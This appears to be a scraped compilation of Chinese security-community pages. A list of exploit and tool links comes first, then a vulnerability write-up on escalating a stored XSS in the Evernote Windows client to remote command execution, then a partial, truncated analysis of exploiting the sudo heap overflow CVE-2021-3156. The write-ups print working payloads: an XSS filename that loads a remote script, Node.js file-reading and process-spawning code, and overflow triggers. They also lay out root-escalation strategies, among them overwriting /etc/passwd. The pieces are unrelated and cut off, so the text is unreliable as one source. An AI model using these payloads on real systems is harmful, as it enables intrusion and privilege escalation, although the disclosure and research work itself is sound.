<https://mishresec.wordpress.com/2017/10/12/yahoo-bug-bounty-exploiting-oauth-misconfiguration-to-takeover-flickr-accounts/>
BurpSuite扩展用于自动化授权强制检测
<https://github.com/Quitten/Autorize>
atomic-red-team：Small and highly portable detection tests mapped to the Mitre
ATT&CK Framework.
<https://github.com/redcanaryco/atomic-red-team>
德国选举是在9月24日，但垃圾邮件发送者已经投票了（德国大选时，大量垃圾邮件干扰投票结果）
<https://www.proofpoint.com/us/threat-insight/post/german-elections-are-september-24-spammers-have-already-cast-their-votes>
Over The Air – Vol. 2, Pt. 3:利用苹果设备上的Wi-Fi协议栈
<https://googleprojectzero.blogspot.com/2017/10/over-air-vol-2-pt-3-exploiting-wi-fi.html>
Kernel Pool Overflow Exploitation In Real World – Windows 7
<http://trackwatch.com/kernel-pool-overflow-exploitation-in-real-world-windows-7/>
Kernel Pool Overflow Exploitation In Real World – Windows 10
<http://trackwatch.com/kernel-pool-overflow-exploitation-in-real-world-windows-10/>
Typecho SSRF漏洞分析和利用
<https://joychou.org/web/typecho-ssrf-analysis-and-exploit.html>
DependencyCheck
OWASP出品，一款检查Java相关库缺陷的工具。用于查找依赖库中已存在的公开漏洞，支持Maven，gradle，jenkins，ant等打包方式（from廖新喜）
<https://github.com/jeremylong/DependencyCheck>
Privilege escalation with kill(-1, SIGKILL) in XNU kernel of macOS High Sierra
<http://www.openwall.com/lists/oss-security/2017/10/12/1>
未授权FLIR（Lorex）云访问
<https://depthsecurity.com/blog/unauthorized-flir-cloud-access>
代码审计新姿势，从任意读到任意重置用户密码
<https://xianzhi.aliyun.com/forum/read/2209.html>
渗透测试学习笔记之案例五
<https://xianzhi.aliyun.com/forum/read/2206.html>
Exploding Git Repositories
<https://kate.io/blog/git-bomb/>
自动删除旧的Gmail电子邮件
<https://room362.com/post/2017/automatically-deleting-old-gmail-mail/>
反击爬虫，前端工程师的脑洞可以有多大？
<http://litten.me/2017/07/09/prevent-spiders/>
clrinject：Injects C# EXE or DLL Assembly into any CLR runtime and AppDomain of
another process.
<https://github.com/jonatan1024/clrinject>
awesome-adversarial-machine-learning
<https://github.com/yenchenlin/awesome-adversarial-machine-learning>
反汇编和运行时分析
[http://blog.talosintelligence.com/2017/10/disassembler-and-runtime-analysis.html?utm_source=dlvr.it&utm_medium=twitter&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos+Blog%29](http://blog.talosintelligence.com/2017/10/disassembler-and-runtime-analysis.html?utm_source=dlvr.it&utm_medium=twitter&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos+Blog%29) | 社区文章 |
**作者： dawu@知道创宇404实验室**
**时间： 2018/10/24**
**[English Version](https://paper.seebug.org/737/ "English Version")**
## 0x00 漏洞简介
1. 印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。
2. 由于只修复了 XSS 的入口点而没有在出口处添加过滤，导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。
3. 印象笔记的展示模式是使用 NodeWebKit 实现的，通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。
4. 经过各种尝试，最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行。
## 0x01 前言
2018/09/20，我当时的同事[@sebao](http://www.daimacn.com)告诉我印象笔记修复了他的 `XSS`
漏洞并登上了名人堂，碰巧国庆的时候考古过几个客户端 XSS
导致命令执行的案例，就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中，我不仅发现原本的 `XSS` 修复方案存在漏洞、利用这个 `XSS`
漏洞实现了本地文件读取和远程命令执行，还通过分享笔记的功能实现了远程攻击。
## 0x02 印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞
`@sebao` 发现的储存型 XSS 漏洞的触发方式如下： 1\. 在笔记中添加一张图片 2\. 右键并将该图片更名为 `"
onclick="alert(1)">.jpg"` 3\. 双击打开该笔记并点击图片，成功弹框。
经过测试，印象笔记官方修复该 XSS 的方式为：在更名处过滤了 `>`、`<`、`"` 等特殊字符，但有意思的是我在 6.14 版本下测试的 XSS 在
6.15 版本中依旧可以弹框，这也就意味着：官方只修了 XSS 的入口，在 XSS 的输出位置，依旧是没有任何过滤的。
## 0x03 演示模式下的 Nodejs 代码注入
XSS 修复方案存在漏洞并不能算是一个很严重的安全问题，所以我决定深入挖掘一下其他的漏洞，比如本地文件读取或者远程命令执行。为了方便测试，我在 6.14
版本的客户端中将一张图片更名为 `" onclick="alert(1)"><script
src="http://172.16.4.1:8000/1.js">.jpg` 后，将客户端升级为最新版 6.15。
我测试了一些特殊的
API，例如`evernote.openAttachment`、`goog.loadModuleFromUrl`，但是没有显著的收获。所以我转换了思路，遍历
`C:\\Program Files(x86)\Evernote\Evernote\` 目录下的所有文件。我发现印象笔记在 `C:\\Program
Files(x86)\Evernote\Evernote\NodeWebKit` 目录下存在 `NodeWebKit`，在演示的时候，印象笔记会调用这个
`NodeWebKit`。
一个更好的消息是我可以通过之前发现的储存型 XSS 在 `NodeWebKit` 中执行 `Nodejs` 代码。
## 0x04 本地文件读取 和 远程命令执行的实现
既然可以注入 `Nodejs` 代码，那就意味着我可以尝试使用 `child_process` 来执行任意命令。
我尝试使用 `require('child_process').exec`，但是却报错了： `Module name "child_process" has
not been loaded yet for context`。
这个错误并没有浇灭我刚发现 `Nodejs` 代码注入的激情，我在查阅各种资料尝试 解决/绕过 这个问题。最终，我发现了前人的足迹：[How we
exploited a remote code execution vulnerability in
math.js](https://capacitorset.github.io/mathjs/)
根据文中的内容，简单的修改读取本地文件的 payload 很快就实现了相应的功能：
alert("Try to read C:\\\\Windows\\win.ini");
try{
var buffer = new Buffer(8192);
process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096);
alert(buffer);
}
catch(err){
alert(err);
}
但是在尝试远程命令执行的时候，我遇到了一些问题。由于并不了解 `Nodejs`，所以我不知道为什么 `NodeWebkit` 中没有 `Object` 和
`Array`，也不知道如何解决这个问题。我听取了文中的建议，尝试去理解
[child_process的源码](https://github.com/nodejs/node/blob/master/lib/child_process.js)，并且查找
`spawn_sync` 相关的用法。
最终，我从 `window.process.env` 中获取到 `env` 的内容，并使用 `spawn_sync` 成功地弹出了计算器。
// command executed
try{
spawn_sync = process.binding('spawn_sync');
envPairs = [];
for (var key in window.process.env) {
envPairs.push(key + '=' + window.process.env[key]);
}
args = [];
const options = {
file: 'C:\\\\Windows\\system32\\calc.exe',
args: args,
envPairs: envPairs,
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
]
};
spawn_sync.spawn(options);
}
catch(err){
alert(err);
}
## 0x05 通过分享功能攻击其他用户
在我实现了本地文件读取和本机命令执行后，黑哥提出了一个更高的要求：证明这个漏洞可以影响到其他用户。
在注册了一个小号后，我尝试使用分享功能将 `恶意笔记` 分享给 ”他人“。
我的小号将会在 `工作空间` 收到别人发来的消息。
我的小号尝试演示这个笔记，被注入的 `Nodejs` 代码成功执行！
## 0x06 感谢
* 感谢[黑哥](https://twitter.com/80vul)在漏洞发现和上报过程中的耐心指导和严格要求。
* 感谢我的前404同事sebao跟我分享了他发现的 XSS 漏洞细节。
* 感谢[How we exploited a remote code execution vulnerability in math.js](https://capacitorset.github.io/mathjs/)的作者、[【技术分享】从PouchDB到RCE: 一个node.js注入向量](https://www.anquanke.com/post/id/84811)的原文作者、中文译者，这些优秀的文章为我提供了巨大的帮助。
## 0x07 时间线
2018/09/27，发现相关漏洞，攥写报告并发送至 `[email protected]`。
2018/09/27，官方确认漏洞
2018/10/15，官方在 beta 版本 6.16.1
https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/
中修复相关漏洞，并将我的名字加入名人堂。
2018/10/19，在和官方沟通后，自行申请CVE，编号为：CVE-2018-18524
2018/11/05，Evernote 官方发布 正式版本 6.16.4，确认该漏洞被修复后公开漏洞细节。
* * * | 社区文章 |
# SUDO漏洞提权实战（CVE-2021-3156 POC）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
最近刷公众号看到了一个sudo的漏洞，看漏洞介绍是个堆缓冲区溢出的漏洞，出于手痒想跟进一下这个漏洞。经过一番折腾，发现这个漏洞还挺典型的，于是总结了一些想法。接下来我会在漏洞分析、提权原理、利用方案、实战分析等方面表达一些自己的观点。
## 漏洞分析
这几天网上对这个漏洞分析已经挺多的了，这里我再简略分析一下，详情可以参考一下 **Qualys** 团队的研究记录。 **Qualys**
团队统计的漏洞影响范围是1.8.2 – 1.8.31p2 以及 1.9.0 -1.9.5p1，使用默认编译选项发行的版本。可以在
<https://github.com/sudo-project/sudo.git>
下载sudo的源代码（我使用的是1_9_5p1版本的源码）。接下来我们一起看一下源码中set_cmnd方法：
// plugins/sudoers/sudoers.c
913 /*
914 * Fill in user_cmnd, user_args, user_base and user_stat variables
915 * and apply any command-specific defaults entries.
916 */
917 static int
918 set_cmnd(void)
919 {
...
957 /* Alloc and build up user_args. */
958 for (size = 0, av = NewArgv + 1; *av; av++)
959 size += strlen(*av) + 1;
960 if (size == 0 || (user_args = malloc(size)) == NULL) {
961 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
962 debug_return_int(NOT_FOUND_ERROR);
963 }
964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
965 /*
966 * When running a command via a shell, the sudo front-end
967 * escapes potential meta chars. We unescape non-spaces
968 * for sudoers matching and logging purposes.
969 */
970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
971 while (*from) {
972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
973 from++;
974 *to++ = *from++;
975 }
976 *to++ = ' ';
977 }
978 *--to = '\0';
979 } else {
···
漏洞发生在如下逻辑中：
1. 在958~963行会计算输入参数字符串长度，分配对等大小的堆内存。
2. 在970~978会把参数逐字节拷贝到已分配好的内存中。
3. 在972 判断了 {‘\‘, ‘\0’} 这种情况，作者的本意应该是处理转义字符，结果造成了其他漏洞。
当遇到 -s ‘param\‘’ 这种参数时：
1. 分配内存长度为: size = strlen(“param\“) 。
2. 当970~978判断参数 {‘\‘, ‘\0’} 时执行 from++，参数的结束符 {‘\0’} 被跳过。
3. 最终导致参数以后的内存会继续向user_args中拷贝，直到遇到{‘\0’} 才结束。
4. linux 命令行程序参数后边的内存空间存放的是当前命令行的环境变量。因而可以继续构造包含{‘\‘, ‘\0’} 的环境变量，实现内存任意溢出。
接下让我们看一下sudo程序的运行内存，验证上诉的第4点。
# env -i HOME=/root PATH=/usr/bin/ '11=b\' '22=c\' '33=dddddddddddddddddd' gdb --args /tmp/sudo/bin/sudoedit
pwndbg> show env
HOME=/root
PATH=/usr/bin/
11=b\
22=c\
33=ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
pwndbg> b sudoers.c:1014
Breakpoint 3 at 0x7fa8a7fcf19d: sudoers.c:1014. (2 locations)
pwndbg> r -s 'aaaaaaaaaaaaaaaaaaaaaaaaa\'
...
pwndbg> p sudo_user.cmnd_args
$1 = 0x555c71019e70 'a' <repeats 25 times>
pwndbg> hexdump sudo_user.cmnd_args 128
+0000 0x555c71019e70 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
+0010 0x555c71019e80 61 61 61 61 61 61 61 61 61 00 31 31 3d 62 00 32 │aaaa│aaaa│a.11│=b.2│
+0020 0x555c71019e90 32 3d 63 00 33 33 3d 64 64 64 64 64 64 64 64 64 │2=c.│33=d│dddd│dddd│
+0030 0x555c71019ea0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 │dddd│dddd│dddd│dddd│
...
+0060 0x555c71019ed0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 00 65 │dddd│dddd│dddd│dd.e│
+0070 0x555c71019ee0 20 6d 6f 64 65 73 2e 0a 23 20 53 65 65 20 74 68 │.mod│es..│#.Se│e.th
我们发现sudo_user.cmnd_args内存以后的内存已经被环境变量覆盖了。
## 提权原理分析
说到sudo类程序的提权原理，我们需要复习一下linux文件权限表，日常开发中我们常用的文件配置权限如下：
-rw------- (600) 只有拥有者有读写权限。
-rw-r--r-- (644) 只有拥有者有读写权限；而属组用户和其他用户只有读权限。
-rwx------ (700) 只有拥有者有读、写、执行权限。
-rwxr-xr-x (755) 拥有者有读、写、执行权限；而属组用户和其他用户只有读、执行权限。
-rwx--x--x (711) 拥有者有读、写、执行权限；而属组用户和其他用户只有执行权限。
-rw-rw-rw- (666) 所有用户都有文件读、写权限。
-rwxrwxrwx (777) 所有用户都有读、写、执行权限。
我们在分别查看一下普通程序（/usr/bin/ls）和sudo类程序（/usr/bin/sudo）的文件权限配置：
-> % stat -c '%04a %U %G %n' /usr/bin/ls
0755 root root /usr/bin/ls
-> % stat -c '%a %U %G %n' /usr/bin/sudo
4755 root root /usr/bin/sudo
sudo程序的不难发现多最高位权限码是4，这个文件权限码涉及的linux文件的SUID、SGID、Sticky权限配置，这三个具体作用如下：
* SUID: 作用于二进制文件，使用者将继承此程序的所有者权限
* SGID: 作用于二进制文件和目录
* 对于二进制文件: 使用者将继承此程序的所属组权限
* 对于目录: 此文件夹下所有用户新建文件都自动继承此目录的用户组
* Sticky:作用于目录，目录中每个用户仅能删除、移动或改名自己的文件或目录
sudo程序具备SUID权限，同时sudo的所有者是root，因此普通用户执行sudo程序是可以以root身份去执行的，我们可以实现个简版的sudo.min
程序测试一下:
-> % cat << EOF | sudo gcc -Wno-implicit-function-declaration -o sudo.min -xc - int main(int argc, char **argv) {
return !setuid(0) && argc > 1 && execvp(argv[1], argv + 1);
}
EOF
-> % sudo chmod 4755 sudo.min
-> % stat -c '%04a %U %G %n' sudo.min
4755 root root sudo.min
-> % ./sudo.min id -u
0
-> % ./sudo.min sh
sh-5.0# id -u
0
上诉简版的sudo程序中我们不难发现带有SUID权限的sudo程序具备了所有者（root）的权限。然而真正的sudo程序会在执行输入命令前鉴定执行者的权限，只有通过了，才会继续执行输入的命令。CVE-2021-3156漏洞在发生在方法set_cnmd，此方法是权限鉴定前的逻辑，因此会造成任意用户提全的风险。
## 利用方案
根据前文的漏洞分析我们已经知道，可以通过输入特殊的参数和环境变量，实现任意大小的堆内存溢出， **Qualys**
团队给出了三种利用这个漏洞的思路，我发现这三种漏洞利用思路属于比较经典的堆溢出利用方案，接下来我会将详细剖析一下这三种利用思路。
### 重写函数指针
函数指针在CPU执行过程中会经历间接寻址、执行的过程，因此替换函数指针的值便可以实现任意代码执行， **Qualys**
团队通过crash日志分析找到了struct sudo_hook_entry，修改struct
sudo_hook_entry实例可以实现任意代码执行的目的，接下来我们根据源码探究一下这个方案的可行性。
// src/hooks.c
...
34 /* Singly linked hook list. */
35 struct sudo_hook_entry {
36 SLIST_ENTRY(sudo_hook_entry) entries;
37 union {
38 sudo_hook_fn_t generic_fn;
39 sudo_hook_fn_setenv_t setenv_fn;
40 sudo_hook_fn_unsetenv_t unsetenv_fn;
41 sudo_hook_fn_getenv_t getenv_fn;
42 sudo_hook_fn_putenv_t putenv_fn;
43 } u;
44 void *closure;
45 };
46 SLIST_HEAD(sudo_hook_list, sudo_hook_entry);
47
48 /* Each hook type gets own hook list. */
49 static struct sudo_hook_list sudo_hook_setenv_list =
50 SLIST_HEAD_INITIALIZER(sudo_hook_setenv_list);
51 static struct sudo_hook_list sudo_hook_unsetenv_list =
52 SLIST_HEAD_INITIALIZER(sudo_hook_unsetenv_list);
53 static struct sudo_hook_list sudo_hook_getenv_list =
54 SLIST_HEAD_INITIALIZER(sudo_hook_getenv_list);
55 static struct sudo_hook_list sudo_hook_putenv_list =
56 SLIST_HEAD_INITIALIZER(sudo_hook_putenv_list);
...
125 /* Hook registration internals. */
126 static int
127 register_hook_internal(struct sudo_hook_list *head,
128 int (*hook_fn)(), void *closure)
129 {
130 struct sudo_hook_entry *hook;
131 debug_decl(register_hook_internal, SUDO_DEBUG_HOOKS);
132
133 if ((hook = calloc(1, sizeof(*hook))) == NULL) {
134 sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO,
135 "unable to allocate memory");
136 debug_return_int(-1);
137 }
138 hook->u.generic_fn = hook_fn;
139 hook->closure = closure;
140 SLIST_INSERT_HEAD(head, hook, entries);
141
142 debug_return_int(0);
143 }
...
分析struct sudo_hook_entry
的定义中我们不难发现，sudo_hook_entry中包含一个函数指针，而且这个指针还是一个union类型的指针。（猜测作者应该是想作为智能指针使用，智能指针详情，请了解
c++
的auto指针）。因为这个漏洞是堆溢出类型的漏洞，如果想通过溢出直接修改sudo_hook_entry的实例，sudo_hook_entry的实例最好是在堆空间的实例（由malloc、calloc、……申请的内存是堆空间，如果是静态区就比较麻烦了）。分析register_hook_internal函数的133行我们不难发现，sudo_hook_entry的实例是由calloc申请的内存。因此只要sudo_hook_entry实例的函数指针在sudo程序中有被执行，修改sudo_hook_entry实例的函数指针的确能够实现任意任意代码执行的目的。
上述我们分析论证了重写sudo_hook_entry实例的理论可行性，不过想要真正的实现任意代码执行，对于这个程序还要满足其他条件，我总结为以下几点：
* 能够加载自定义的代码，修改实例函数指针，让其执行自定义代码。
* 能够执行自定义代码，修改实力函数指针为execv、dlopen等加载额外代码的接口地址，再配合有效的参数，实现执行自定义代码模块。
**Qualys** 团队通过构造参数满足第二个条件来实现任意代码执行的。让我们继续分析源码，探求一下其中原理。
// src/hooks.c
...
90 /* NOTE: must not anything that might call getenv() */
91 int
92 process_hooks_getenv(const char *name, char **value)
93 {
94 struct sudo_hook_entry *hook;
95 char *val = NULL;
96 int rc = SUDO_HOOK_RET_NEXT;
97
98 /* First process the hooks. */
99 SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {
100 rc = hook->u.getenv_fn(name, &val, hook->closure);
101 if (rc == SUDO_HOOK_RET_STOP || rc == SUDO_HOOK_RET_ERROR)
102 break;
103 }
104 if (val != NULL)
105 *value = val;
106 return rc;
107 }
...
在process_hooks_getenv函数的第100行执行了函数指针，该函数的第一个参数是一个字符串，如果用execv的函数地址重写getenv_fn的地址，第100行将执行execv(name,
&val, hook->closure)，只要运行sudo程序的当前路径下存在一个与同name同名的可执行程序，便可以实现任意代码执行。
当前主流的操作系统大多数开启了alsr机制，因此execv的函数地址、以及process_hooks_getenv实例地址，在每次运行sudo时都是不同，而且在健全的操作系统里，用户只允许查看自己的crash日志。，因此通过对抗alsr来修改函数指针在实战中还是比较困难的。个人觉得实现这个利用方案还要是掺杂一些运气进去的。
### 重写模块加载接口参数
通过修改加载模块接口函数（dlopen、execv、……）的参数也是一个引入自定义代码有效方法。 **Qualys**
团队通过crash日志分析找到struct service_user可以实现任意代码执行的目的，接下来我们根据源码和函数运行内存探究一下这个方案的可行性。
pwndbg> b set_cmnd
Breakpoint 1 at 0x7f40003ebfd0: file ./sudoers.c, line 922.
pwndbg> r -s xxxxxx\\ xxxxxxxxxxxxx
Starting program: /tmp/sudo/bin/sudoedit -s xxxxxx\\ xxxxxxxxxxxxx
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, set_cmnd () at ./sudoers.c:922
...
pwndbg> b nss_load_library
Breakpoint 2 at 0x7fc7b9b8d4c0: file nsswitch.c, line 329.
pwndbg> c
Continuing.
Breakpoint 2, nss_load_library (ni=ni@entry=0x561ae1533cc0) at nsswitch.c:329
pwndbg> p ni
$1 = (service_user *) 0x56536ec44cc0
pwndbg> p *ni
$2 = {
next = 0x56536ec44d00,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x56536ec50c60,
name = 0x56536ec44cf0 "files"
}
pwndbg> p sudo_user.cmnd_args
$3 = 0x56536ed07a0 "xxxxxx"
pwndbg> heapbase
heapbase : 0x56536ec4400
pwndbg> p (void*) 0x56536ed07a0 - 0x56536ec44cc0
$4 = (void *) 0xffffaf11c828bae0
在上述调试窗口中，我的测试方法可以概括为以下几步：
* 设置可以让set_cmnd堆溢出的参数：”-s xxxxxx\ xxxxxxxxxxxxx”
* 判断set_cmnd堆溢出后内否执行到nss_load_library
* 查看ni的地址是否属于堆空间（通过heapbase我们可以判断ni的地址属于堆空间）
* 计算sudo_user.cmnd_args 和ni的地址偏移量（0xffffaf11c828bae0）
* 判断ni与ni->name 是否属于同一片内存（这点也是比较关键的，后文我会结合源码会详细解释原因）
经过上诉操作可以得出以下几条结论：
* set_cmnd溢出后仍然能够执行到nss_load_library，也就是说set_cmnd和nss_load_library之间的代码段没有受到坏内存影响。
* ni内存是在sudo_user.cmnd_args之前申请的，因为二者偏移量为负数。（heap分配内存是由低址 -> 高地址方向分配，重新运行调试窗口便可以发现nss_load_library在set_cmnd前执行过）
接下来我们接续分析一下nss_load_library的源码实现：
// glibc-2.31 我的操作系统的libc版本是 GLIBC 2.31-0
// 通过执行/usr/lib/x86_64-linux-gnu/libc.so.6 查看自己操作系统的libc版本
// nss/nsswitch.h
...
61 typedef struct service_user
62 {
63 /* And the link to the next entry. */
64 struct service_user *next;
65 /* Action according to result. */
66 lookup_actions actions[5];
67 /* Link to the underlying library object. */
68 service_library *library;
69 /* Collection of known functions. */
70 void *known;
71 /* Name of the service (`files', `dns', `nis', ...). */
72 char name[0];
73 } service_user;
...
//nss/nsswitch.c
...
318 /* Load library. */
319 static int
320 nss_load_library (service_user *ni)
321 {
322 if (ni->library == NULL)
323 {
324 /* This service has not yet been used. Fetch the service
325 library for it, creating a new one if need be. If there
326 is no service table from the file, this static variable
327 holds the head of the service_library list made from the
328 default configuration. */
329 static name_database default_table;
330 ni->library = nss_new_service (service_table ?: &default_table,
331 ni->name);
332 if (ni->library == NULL)
333 return -1;
334 }
335
336 if (ni->library->lib_handle == NULL)
337 {
338 /* Load the shared library. */
339 size_t shlen = (7 + strlen (ni->name) + 3
340 + strlen (__nss_shlib_revision) + 1);
341 int saved_errno = errno;
342 char shlib_name[shlen];
343
344 /* Construct shared object name. */
345 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
346 "libnss_"),
347 ni->name),
348 ".so"),
349 __nss_shlib_revision);
350
351 ni->library->lib_handle = __libc_dlopen (shlib_name);
352 if (ni->library->lib_handle == NULL)
...
通过观察nss _load_library的实现，我们不难发现当ni- >library ==
NULL时，会触发第351行的dlopen加载一个以”libnss_“开头，”.so.2”结尾的动态库。动态库的完整值取决于ni->name的值。因此我们只要通过堆溢出修改ni->library为NULL，ni->name为遵循nss命名规范的自定义动态库既可以加载自定义的代码了。
由上文分析证明只需要修改ni->library和ni->name两处值便可以实现利用漏洞的目的。对于一次性漏洞（一个生命周期中只允许触发一次的漏洞）同时修改两处不同的内存难度是很大的。不过在上文的运行内存分析中我们已经发现ni和ni->name
属于同一片内存。为了证明这两个地址在同一片内存不是偶然的，我们还要继续分一下struct service_user 的结构。
nss/nsswitch.h的第 61 – 73行定义了 struct service_user的结构， 第72行的 char
name[0];（柔性数组）决定了ni和ni->name指向的地址是一段连续内存。（这种写法在高性能编程里经常会用到，因为这样会减少一次malloc/free，这里不做过多的讨论，以后有机会可以详细分析一下。）
在上文的运行内存分析时，我提到过：”sudouser.cmnd_args
和ni的地址偏移量是负数“。堆内存是由低地址向高地址分配的，溢出是低地址向高地址溢出的。只有sudo_user.cmnd_args的地址在ni地址之前才能实现修改ni内容。这里我们还要了解一下malloc的缓存机制，为了提高分配内存的速度，以及减少内存碎片。高版本libc中引入了fastbins、largetbins、smallbins、tcachebins等缓存机制。（当前主流操作系统的libc版本都支持这些缓存机制）。因为sudo_user.cmnd_args地址空间长度受我们自己控制，我们只要在ni分配之前申请一块特殊长度的内存，保证在ni之前分配，在set_cmnd前释放且没被其他逻辑再申请走。基于Qualys团队的分析思路，我们可以通过setlocale的方法通过控制LC*的环境变量构造好这个特殊长度的内存碎片。构造内存碎片的过程我会在后文的实战中做进一步演示，这里不做再多的分析。
个人经验来看这个利用方案要比对抗alsr的方案实战性高一些，因为它对操作系统没有任何额外要求，构造随机内存碎片的运气成分也可以通过研究内存分配逻辑来解决。
### 篡改权限鉴定配置
这种这利用方式属于sudo程序特有逻辑，sudo程序在权限鉴定时首先会查找session，判断session中的权限鉴定是否有效。（一般操作系统sudo的session都会持续一段时间，在这个时间内，再次调用sudo不用输入密码。这种session机制本身就存在缺陷，在某些情况下是可以利用的，不过这里没有用到）
。这个session检查接口（timestamp_lock）有一个小漏洞：timestamp_lock在寻找入口结构（struct
timestamp_entry）时，没有做tlv结构的完整性校验，造成错误的timestamp_entry结构会被写回到session文件中。接下来我们根据源码再研究一下：
// plugins/sudoers/def_data.h
...
95 #define I_TIMESTAMPDIR 46
96 #define def_timestampdir (sudo_defs_table[I_TIMESTAMPDIR].sd_un.str) //"/run/sudo/ts"
97 #define I_TIMESTAMPOWNER 47
...
// plugins/sudoers/defaults.c
...
583 goto oom;
584 if ((def_timestampdir = strdup(_PATH_SUDO_TIMEDIR)) == NULL)
585 goto oom;
...
// plugins/sudoers/check.h
...
65 struct timestamp_entry {
66 unsigned short version; /* version number */
67 unsigned short size; /* entry size */
68 unsigned short type; /* TS_GLOBAL, TS_TTY, TS_PPID */
69 unsigned short flags; /* TS_DISABLED, TS_ANYUID */
70 uid_t auth_uid; /* uid to authenticate as */
71 pid_t sid; /* session ID associated with tty/ppid */
72 struct timespec start_time; /* session/ppid start time */
73 struct timespec ts; /* time stamp (CLOCK_MONOTONIC) */
74 union {
75 dev_t ttydev; /* tty device number */
76 pid_t ppid; /* parent pid */
77 } u;
78 };
...
// plugins/sudoers/timestamp.c
...
298 static ssize_t
299 ts_write(int fd, const char *fname, struct timestamp_entry *entry, off_t offset)
300 {
...
305 if (offset == -1) {
306 old_eof = lseek(fd, 0, SEEK_CUR);
307 nwritten = write(fd, entry, entry->size);
308 } else {
...
398 /*
399 * Open the user's time stamp file.
400 * Returns a cookie or NULL on error, does not lock the file.
401 */
402 void *
403 timestamp_open(const char *user, pid_t sid)
404 {
...
420 /* Open time stamp file. */
421 if (asprintf(&fname, "%s/%s", def_timestampdir, user) == -1) {
422 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
...
608 /*
609 * Lock a record in the time stamp file for exclusive access.
610 * If the record does not exist, it is created (as disabled).
611 */
612 bool
613 timestamp_lock(void *vcookie, struct passwd *pw)
614 {
...
638 nread = read(cookie->fd, &entry, sizeof(entry));
639 if (nread < ssizeof(struct timestamp_entry_v1)) {
640 /* New or invalid time stamp file. */
641 overwrite = true;
642 } else if (entry.type != TS_LOCKEXCL) {
...
648 if (ts_write(cookie->fd, cookie->fname, &entry, 0) == -1)
649 debug_return_bool(false);
650 } else {
...
在plugins/sudoers/timestamp.c 的421行我们不难发现，sudo默认session路径是“/run/sudo/ts” +
当前用户名，def_timestampdir的地址是一个堆地址（plugins/sudoers/defaults.c的584行不难发现，使用strdup初始化的def_timestampdir）。因此我们可以总结一下这个方案的利用思路：
* 构造溢出内存重写def_timestampdir的值，修改成一个普通用户可写的目录，暂记为NDIR。
* 启动其他进程在NDIR中创建一个名称为当前用户指向 /etc/passwd的软链接
* 在同一块溢出内存中构造uid是0的当前用户配置（例如：test: x:0:0::/home/test:/usr/bin/sh）
* 利用timestamp_lock的回写逻辑把新的配置写入到NDIR/test -> /etc/passwd，最终实现test的uid == 0
这个漏洞利用方案有点像前几年的内核“脏牛”漏洞，都是通过越权修改文件，最终实现提权效果。根据 **Qualys**
团队的研究表明，timestamp_lock的小漏洞已经在2020.01的586b418a修复了，目前还没有backport到老的版本中。
## POC实战
上诉的三类方案中我个人更喜欢第二个方案，有以下几个原因：
* 不需要与alsr对抗，有些操作系统不允许读取crash日志，获取alsr基地址比较困难。
* 个人更喜欢缓存攻击的攻击方案（以前工作中写过一些内核POC，经常会利用slab/slub机制。缓存设计的本意是提升效率的，结果引发了新的安全问题，感兴趣的同学可以详细学习一下。）
* 第三个方案依赖其他漏洞，前提条件太多，针对性太强。
综上几个原因，让我们开始第二个方案的实战吧。
我们已经知道sudo的运行内存会受到LC_*的环境变量影响我们先清空一下环境变量看一下sudo的运行内存情况：
# env -i HOME=/root PATH=/usr/bin/ gdb --args /tmp/sudo/bin/sudoedit -A -s xxxxxx\\ xxxxxxxxxxxxx
set_cmnd执行前的内存情况：
pwndbg> heapbase
heapbase : 0x55790ab92000
pwndbg> heapinfo
top: 0x55790aba6a50 (size : 0xc5b0)
last_remainder: 0x55790ab9eba0 (size : 0xf00)
unsortbin: 0x55790ab9eba0 (size : 0xf00)
largebin[48]: 0x55790aba3bd0 (size : 0x2d20)
largebin[50]: 0x55790ab9faf0 (size : 0x4010)
(0x20) tcache_entry[0](1): 0x55790ab9e390
(0x40) tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920
(0x70) tcache_entry[5](1): 0x55790ab93480
(0x80) tcache_entry[6](1): 0x55790aba3b60
(0x100) tcache_entry[14](1): 0x55790ab97f10
(0x150) tcache_entry[19](1): 0x55790ab96ae0
(0x180) tcache_entry[22](1): 0x55790ab96960
(0x1e0) tcache_entry[28](1): 0x55790ab9e8c0
set_cmnd执行后nss_load_library初始化__nss_group_database前的的内存情况：
pwndbg> heapinfo
top: 0x55790aba6a50 (size : 0xc5b0)
last_remainder: 0x55790ab9ec40 (size : 0xe60)
unsortbin: 0x55790ab9ec40 (size : 0xe60)
largebin[48]: 0x55790aba3bd0 (size : 0x2d20)
largebin[50]: 0x55790ab9faf0 (size : 0x4010)
(0x40) tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920
